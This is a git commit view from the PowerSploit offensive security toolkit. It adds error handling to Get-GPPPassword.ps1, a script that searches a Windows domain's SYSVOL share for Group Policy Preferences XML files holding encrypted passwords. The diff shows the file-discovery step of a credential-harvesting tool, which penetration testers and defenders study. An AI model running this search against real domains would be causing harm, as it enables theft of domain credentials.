aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorMatt Graeber <mattgraeber@gmail.com>2013-08-17 16:31:48 -0400
committerMatt Graeber <mattgraeber@gmail.com>2013-08-17 16:31:48 -0400
commitba3361341307104450628b456d8b19ee047ef10e (patch)
tree076d4b776b726bc86c1be6d4788819e7691b0c58
parent66face4488625ad5079311c68fc92d22f705b6d4 (diff)
downloadPowerSploit-ba3361341307104450628b456d8b19ee047ef10e.tar.gz
PowerSploit-ba3361341307104450628b456d8b19ee047ef10e.zip
Added additional error handling to Get-GPPPassword
-rw-r--r--Exfiltration/Get-GPPPassword.ps113
1 files changed, 10 insertions, 3 deletions
diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1
index c905f08..7dbd23d 100644
--- a/Exfiltration/Get-GPPPassword.ps1
+++ b/Exfiltration/Get-GPPPassword.ps1
@@ -61,12 +61,19 @@
}
#ensure that machine is domain joined and script is running as a domain account
- if (((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False) {throw 'Machine is not joined to a domain.'}
- if (($Env:USERDNSDOMAIN) -eq $Null) {throw 'Account is not a domain account.'}
+ if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) )
+ {
+ throw 'Machine is not joined to a domain.'
+ }
#discover potential files containing passwords ; not complaining in case of denied access to a directory
- $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml'
+ $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml'
+ if ( -not $XMlFiles )
+ {
+ throw 'No files containing encrypted passwords found.'
+ }
+
foreach ($File in $XMLFiles) {
try {